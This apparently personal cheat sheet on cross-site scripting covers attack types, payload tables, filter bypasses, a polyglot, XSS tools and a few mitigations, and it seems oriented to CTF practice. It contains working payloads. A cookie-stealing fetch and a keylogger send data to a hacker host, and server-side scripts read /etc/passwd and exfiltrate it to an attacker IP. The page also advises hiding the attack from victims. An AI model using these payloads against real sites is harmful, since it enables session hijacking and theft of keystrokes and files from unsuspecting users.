Cross-site Scripting (XSS)
Cross-site Scripting, most commonly called XSS, refers to injecting malicious JavaScript in a web application for it to be executed by other users. For instance, instead of a username, you could use:
<script>alert('XSS')</script>
And, if the website isn't protected, then anyone consulting your profile will run the script alert('XSS')
and will see an alert.
β οΈ When using XSS, you want to hide that you executed some XSS in someone's browser. So, you should ensure that no one sees anything suspicious. For instance, add a username before the XSS.
Common attack vectors
- π Headers (mostly User-Agent)
- π Forms
- πͺ Cookies
Common mitigations to XSS attacks are:
- π Content-Security-Policy (CSP) header + secure cookies
- π‘οΈ Input sanitization (
htmlentities
/addslashes
in PHP) - π Input filtering (
strip_tags
in PHP) - π₯ Web Application Firewall (WAF)
π‘ XSS may be called HTML Injection when using an HTML payload.
XSS Attacks
Reflected XSS
XSS is reflected when the injected payload is shown on the vulnerable webpage after being rendered by the web server.
πΊοΈ The payload is usually inside the URL. For instance, given the URL: https://example.com/vuln.php?q=payload
that render payload
when loaded. We could exploit it using:
https://example.com/vuln.php/?q=%3Cscript%3Ealert(%27XSS%27)%3B%3C%2Fscript%3E
π· Users clicking on the link will execute our payload.
Stored XSS
The payload is injected and stored on the server, mostly in a database. At some point, it may be executed by a vulnerable web page.
πΊοΈ Comments, profiles, listings... may be vulnerable.
π· For instance, assuming we use the username <script>alert('XSS');</script>
, if the profile page is vulnerable, this code will be executed when the server renders our username.
Blind XSS
XSS is said to be blind or out-band when we are sending a payload without prior knowledge of where it will be executed.
πΊοΈ Feedback, contact, or support forms. We are targeting the administrators by testing if a contact chanel is vulnerable to any XSS.
π· For instance, we include images in each parameter such as <img src="IP:PORT/username">
for username
. If we receive a request to /xxx
on our grabber, then the payload worked for parameter xxx
. Otherwise, we try another payload.
Refer to HTTP Requests Grabber to catch the response during CTFs.
DOM-based XSS
DOM-based XSS occur without the server being aware of them. The client-side JavaScript is the one rendering the payload. For instance, when we use xxx.innerHTML
or document.write
(referred to as "a sinker").
πΊοΈ Mostly, javascript-based applications.
π· If an application parsing anchors URL#xxx
and displays a message, it may be exploited with payloads like <img src="" onerror=print()>
. Most functions don't allow the script
tag.
XSS payloads
Case | HTML | Payload |
---|---|---|
PoC | <p>here</p> | <script>alert('XSS')</script> |
PoC | <p>here</p> | <script>console.log('XSS')</script> |
PoC | <p>here</p> | <script>print()</script> |
PoC | <p>here</p> | <plaintext> |
Boxed attribute | <input value="here"> | ">MaliciousCodeHere |
Unboxed attribute | <input value=here> | >MaliciousCodeHere |
Wrapped | <textarea>here</textarea> | </textarea>MaliciousCodeHere |
JavaScript | xxx.innerHTML = 'here'; | ';MaliciousCodeHere;// |
Boxed Image | <img src="here" alt="xxx"/> | URL" onload="maliciousCodeHere" |
Boxed Image | <img src="here" alt="xxx"/> | URL" onerror="maliciousCodeHere" |
π Use window.origin
when dealing with an iframe.
XSS 'malicious code'
Common "malicious code" used in PoC payloads are
-
alert(...)
: show an alert with a message -
console.log(...)
: print a message in the console
Real examples of malicious code can be found at XSS-payloads.
Session hijacking/Cookie Stealing
Anyone executing this script will send their cookie to a malicious website owned by the hacker used to capture cookies. The script is using btoa()
to encode in base64 the values. Sessions cookies are gold π°, because with them, we can bypass verifications such as 2FA and access someone else account of insecure webservers.
<script>fetch('https://hacker.website/hijack?cookie=' + btoa(document.cookie));</script>
<script>fetch('http://IP:port/?cookie=' + btoa(document.cookie));</script>
Refer to HTTP Requests Grabber to catch the response during CTFs.
Keylogger
Sends keys pressed to the hacker website. The script is using btoa()
to encode in base64 the values.
<script>
let keys = ''
document.onkeydown = e => keys += e.key
setInterval(() => {
if (keys === '') return
fetch('https://hacker.website/keylogger?key=' + btoa(keys) )
keys = ''
}, 1000)
</script>
Other Attacks
- Defacing websites
- Injecting a login form to access the original website
XSS filter by-pass
There are usually a lot done to avoid XSS attacks, but there is also a lot of way to by-pass weak filters.
-
Logic flaw: for instance, a dropdown with a list of countries. A user use XSS. The developer didn't filter the value as they expected a value within the list.
-
Bypass HTML symbols filtering: If
<
, and>
are filtered, an attacker may still use DOM Based XSS. -
Bypass DOM Based Filtering: if there is a filter removing every attribute such as
onload
,onmouseover
... they could try variants as HTML is case-insensitive.
<img src="" ONERROR="alert('XSS')" />
- Polygots: these are magic payloads designed to bypass many tags/attributes/filters/... at once.
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('XSS') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('XSS')//>\x3e
Bypass keywords filtering: most functions to filter something will only process the text once. It means that if the hacker knows that something is filtered, they may create a payload that is only working after being filtered. For instance, assuming there is filter removing "<script>", we can bypass the filter using:
<s<script>cript>alert('XSS');</s<script>cript> // 1. payload
// 2. filter remove "<script>"
<script>alert('XSS');</script> // 3. output
You can also try variants if the filter is case-sensitive
<scIpT>alert('XSS');</scIpT>
Another way of bypassing keyword filtering is using alternate code. For instance, with the function alert
, we could do.
<img src="NOT_FOUND" onerror="eval('aler'+'t')('XSS')">
<!-- unicode in HTML with &# -->
<img src="NOT_FOUND" onerror=alert('XSS')>
<!-- unicode with \u -->
<img src="NOT_FOUND" onerror=\u0061lert('XSS')>
XSS Tools βοΈ
XSStrike
XSStrike (12.4k β, 2022 β οΈ) is a popular XSS tool that is still working as of 2024 while it's not maintained.
$ cd /opt
$ sudo git clone https://github.com/s0md3v/XSStrike.git
$ sudo chmod +x XSStrike/xsstrike.py
$ sudo ln -s /opt/XSStrike/xsstrike.py /usr/local/bin/xsstrike
$ xsstrike -u 'URL?param=vuln'
The tool will process the URL and the parameter to see if any are vulnerable. Press 'Enter' until you find one that works. Carefully read the payload when testing, e.g. 'mouse over,' or stuff like that.
Other tools
There are a lot of them, but they are all abandoned. If seems using web scanners such as Burp, Zaproxy, or Nessus is more common.
- xsser (1.0k β, 2022 β οΈ)
- BruteXSS (0.4k β, 2021 πͺ¦)
- xsshunter (1.4k β, 2019 πͺ¦) + xsshunter-express (1.2k β, 2021 πͺ¦)
- Zeus-Scanner (0.9k β, 2019 πͺ¦)
- whitewidow (0.9k β, 2018 πͺ¦)
Server-Side XSS
If a website is creating a PDF using user-input, such as using wkhtmltopdf, we may be able to execute JavaScript code.
<script>document.write('poc')</script>
<img src="http://IP:port/img"/>
Refer to HTTP Requests Grabber to catch the response during CTFs.
We can use it to read files such as /etc/passwd
:
<script>xhzeem=new XMLHttpRequest();xhzeem.onload=function(){document.write(this.responseText)};xhzeem.onerror=function(){document.write('failed!')};xhzeem.open("GET","file:///etc/passwd");xhzeem.send();</script>
For Blind Server-Side XSS, we can use:
<script>xhzeem=new XMLHttpRequest();xhzeem.onload=function(){xhzxfil=new XMLHttpRequest();xhzxfil.open("GET",'http://IP:port/?data='+btoa(this.response),true);xhzxfil.send()};xhzeem.open("GET","file:///etc/passwd",true);xhzeem.send();</script> ;
π» To-do π»
Stuff that I found, but never read/used yet.
- Place to check: forms, headers
-
"><script src=//www.example.com/exploit.js></script>
: no http/https?